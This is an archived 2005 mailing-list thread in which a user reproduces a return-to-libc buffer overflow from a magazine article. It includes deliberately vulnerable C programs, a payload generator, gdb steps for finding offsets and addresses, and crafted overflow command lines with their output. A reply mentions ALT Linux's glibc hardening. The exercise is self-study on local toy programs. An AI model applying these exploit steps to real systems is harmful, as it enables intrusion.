ALT Linux users (in English only)
 help / color / mirror / Atom feed
* [Comm-en] System call via buffer overflow not working
@ 2005-01-21 22:32 Aaron McDonald
  2005-01-21 23:33 ` Michael Shigorin
  0 siblings, 1 reply; 3+ messages in thread
From: Aaron McDonald @ 2005-01-21 22:32 UTC (permalink / raw)
  To: community-en

Linux Magazine has a buffer overflow article in the February 2005 issue. I 
enjoyed the
article because I'd never read much about how to compromise a system using a 
buffer
overflow strategy. I attempted to run two of the buffer overflow examples on 
my ALT Linux
Sisyphus (20041129) box but found that the examples didn't work. I tried the 
examples on my
Slackware 9.1 box (2.4 kernel) and everything worked! Now back to my Alt 
Linux box. After
some investigation I determined that my kernel (2.4.26-std-up-alt6) must 
have a
non-executable stack because I was seeing errors in /var/log/messages. This 
explained why
one of the strategies didn't work but I'm still puzzled as to why the second 
strategy isn't
working.

This second strategy involves storing a command in an environment variable 
and then passing
this parameter to the system() function via a buffer overflow. In my case, 
the system()
function is being called but it fails to execute the specified command.

So, my question is this, has Alt Linux tweaked the system() command to 
prevent a buffer
overflow attack? I attempted to look through the glibc source code 
(sysdeps/posix/system.c,
etc.), but I'm not an expert C programmer and I had trouble reading the 
code.

I've included all the details below if anyone cares to look into this. I'm 
not dying to
know the answer but it'd be cool to know what's going on here.

Thanks,
Aaron


-------------------------------------------------------------------------------------------
Here are the execution details:

//vulner1.c - Program with buffer overflow
//This function, when called instead of the system() function, seems to 
properly access the
specified command.
my_system(char *command) {
        printf("Command to execute is: %s\n", command);
}

int main(int argc, char *argv[])
{
    char buff[512];
    if(argc < 2)
    {
        printf("Usage: %s \n", argv[0]);
        exit(0);
    }
    strcpy(buff, argv[1]);
    printf("Your name: %s\n", buff);
    return 0;
}

//eggfind.c - get address of environment variable
int main(void)
{
   printf("0x%lx\n", getenv("EGG"));
   return 0;
}

Step 1 - Compile the above programs: vulner1.c and eggfind.c
CAUTION: Use executable names that are all the same length. For example, 
vulner1 for
vulner1.c, eggfind for eggfind.c, and makehex for makehex.c (see below). I 
think it makes a
difference with the stack pointers because the program name is stored on the 
stack.

Step 2 - Determine the overflow point on your system
	ulimit -c unlimited
	./vulner1 $(perl -e 'print "A"x516 . "BBBB"')

	Keep adding 4 more A's until you receive a core dump.
	gdb -q -c core
	"0x42424242" should be printed (if not, add more A's, I needed 524). 
"0x42424242"
is BBBB in hexadecimal and it represents the address of the next instuction 
to execute (eip
register-effective instruction pointer)

Step 3 - Determine the address of the system() function so that we can set 
the eip register
with it
	gdb -q vulner1
	break main
	run
	print system

	My result was 0x00169ee0

Step 4 - Set EGG environment variable with a command such as /bin/date
	export EGG=/bin/date

Step 5 - Determine the address of the EGG environment variable
	./eggfind

	My result was 0xbffffb73

Step 6 - Run vulner1 and overflow the buffer so that the system() function 
will be called
with a pointer to the EGG environment variable. Use the same number of A's 
as in step 2 and
the hexadecimal results from steps 3 and 5 in little endian.
	./vulner1 $(perl -e 'print "A"x524')$(printf
"\xe0\x9e\x16\x00\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf")

	The result of the above command on my system was setting eip to 0xaa169ee0 
which
indicated that the "\x00" was somehow being ignored. I resolved the issue by 
calling printf
from within another C program rather than from the command line.
	./vulner1 $(./makehex)
	See makehex.c below.

Final Output:
Your name:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAà
sh: line 1: føÿ¿pøÿ¿: command not found
Segmentation fault (core dumped)

As you can see, the system() function is running and invoking a shell but my 
command
/bin/date is not being executed.

---------------------------------------------------------------------------------------------------------------------------
//The address of the system() function on my system was 0x00169ee0. 
Specifying this as a
parameter on the command line didn't seem to be working so I hardcoded it in 
a C program
and then executed: ./vulner1 $(./makehex)

//makehex.c
main() {
        char pad[524];
        int i;
        for (i=0; i < 524; i++)
                pad[i] = 'A';
        pad[524]='\0';

        printf("%s\xe0\x9e\x16\x00\x00\x00\x00\x00\x78\xfb\xff\xbf", pad);
}

--------------------------------------------------------------------------------------------------------------------------------------

Call my_system function in vulner1.c rather that system() function to 
confirm that the
pointer being passed to the functions does indeed point to /bin/date

Step A1 - Use my_system() function in vulner1.c rather that system() 
function:
Determine the address of the my_system() function so that we can set the eip 
register with
it
	gdb -q vulner1
	break main
	run
	print my_system

	My result was 0x080483ec

Step A2 - Run vulner1 and overflow the buffer so that the my_system() 
function will be
called with a pointer to the EGG environment variable. Use the same number 
of A's as in
step 2 and the hexadecimal results from steps A1 and 5 in little endian.

	./vulner1 $(perl -e 'print "A"x524')$(printf

"\xe0\x9e\x16\x00\xAA\xAA\xAA\xAA\x73\xfb\xff\xbf")
	or
	./vulner1 $(./makehex)	 //don't forget to update and recompile makehex


Output:
Your name:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAªªªªsûÿ¿
Command to execute is /bin/date
Segmentation fault (core dumped)

As you can see, the my_system() function was called and the command pointer 
pointed to
/bin/date.

----------------------------------------------------------------------------------------------------------------------------------




^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: [Comm-en] System call via buffer overflow not working
  2005-01-21 22:32 [Comm-en] System call via buffer overflow not working Aaron McDonald
@ 2005-01-21 23:33 ` Michael Shigorin
  2005-01-26  5:39   ` Aaron McDonald
  0 siblings, 1 reply; 3+ messages in thread
From: Michael Shigorin @ 2005-01-21 23:33 UTC (permalink / raw)
  To: community-en

On Fri, Jan 21, 2005 at 05:32:42PM -0500, Aaron McDonald wrote:
> Linux Magazine has a buffer overflow article in the February
> 2005 issue. I enjoyed the article because I'd never read much
> about how to compromise a system using a buffer overflow
> strategy. I attempted to run two of the buffer overflow
> examples on my ALT Linux Sisyphus (20041129) box but found that
> the examples didn't work.

Ouch! :)

> I tried the examples on my Slackware 9.1 box (2.4 kernel) and
> everything worked!

Wonders.

> This second strategy involves storing a command in an
> environment variable and then passing this parameter to the
> system() function via a buffer overflow. In my case, the
> system() function is being called but it fails to execute the
> specified command.

I know that ALT's glibc has some hardening and sanitizing patches
-- you may want to grab src.rpm and examine them.

> I've included all the details below if anyone cares to look
> into this. I'm not dying to know the answer but it'd be cool to
> know what's going on here.

Not sure whether it's proper but if you're positively interested
it may be worth asking security@.

-- 
 ---- WBR, Michael Shigorin <mike@altlinux.ru>
  ------ Linux.Kiev http://www.linux.kiev.ua/


^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: [Comm-en] System call via buffer overflow not working
  2005-01-21 23:33 ` Michael Shigorin
@ 2005-01-26  5:39   ` Aaron McDonald
  0 siblings, 0 replies; 3+ messages in thread
From: Aaron McDonald @ 2005-01-26  5:39 UTC (permalink / raw)
  To: community-en

Well, this has been quite the learning experience. You've helped me to 
realize that \x00 is really just NULL and that printf in C ignores any 
characters specified after \x00. The program vulner1.c was only receiving 
the bytes before the \x00 which were the system() function address. This now 
explains why the system() function was being called with an invalid 
parameter. I've probably spent too much time on this issue but I've 
satisfied my curiosity and I learned how to analyze memory using gdb. I've 
included some gdb details below.

Thanks for the responses on this,
Aaron

----------------------------------------------------------------------------------------------------------------------------------------

//Here's what the stack frame looks like
(gdb) info f
Stack level 0, frame at 0xbffffa00:
eip = 0x80484c6 in main (vulner3.c:21); saved eip 0x157ee0
source language c.
Arglist at 0xbffff9f8, args: argc=2, argv=0xbffffa54
Locals at 0xbffff9f8, Previous frame's sp is 0xbffffa00
Saved registers:
  ebp at 0xbffff9f8, eip at 0xbffff9fc
(gdb) x /4xw 0xbffff9f8
//This shows that none of the memory after the system() function address 
(0x00157ee0) is overwritten
0xbffff9f8:	0x41414141	0x00157ee0	0x00000002	0xbffffa54


//Here's an alternative program that is vulnerable to the return-to-libc 
exploit even when the system() function address contains \x00

./vulner2 $(perl -e 'print "A"x524')$(printf "\xe0\x7e\x15 
\x41\x41\x41\x41\x73\xfb\xff\xbf")

//vulner2.c
#include <stdio.h>

int main(int argc, char *argv[])
{
        char names[512];  //array to hold all the names
        int num_params=argc;
        char **params = argv;
        char *index = names;
        int i;

        if(argc < 2)
        {
                printf("Usage: %s name [name]\n", argv[0]);
                exit(0);
        }

	//copy all the parameters into the names array
        for(i=1; i < num_params; i++) {
                strcpy(index, params[i]);
                index+=strlen(params[i]);
                *(index++)='\0';
        }
        *(index) = '\0';

        index = names;

        while(strlen(index) != 0) {
                printf("Name is: %s\n", index);
                index+=strlen(index) + 1;
        }

        return 0;
}




^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2005-01-26  5:39 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2005-01-21 22:32 [Comm-en] System call via buffer overflow not working Aaron McDonald
2005-01-21 23:33 ` Michael Shigorin
2005-01-26  5:39   ` Aaron McDonald

ALT Linux users (in English only)

This inbox may be cloned and mirrored by anyone:

	git clone --mirror http://lore.altlinux.org/community-en/0 community-en/git/0.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 community-en community-en/ http://lore.altlinux.org/community-en \
		community-en@lists.altlinux.org community-en@lists.altlinux.ru community-en@lists.altlinux.com
	public-inbox-index community-en

Example config snippet for mirrors.
Newsgroup available over NNTP:
	nntp://lore.altlinux.org/org.altlinux.lists.community-en


AGPL code for this site: git clone https://public-inbox.org/public-inbox.git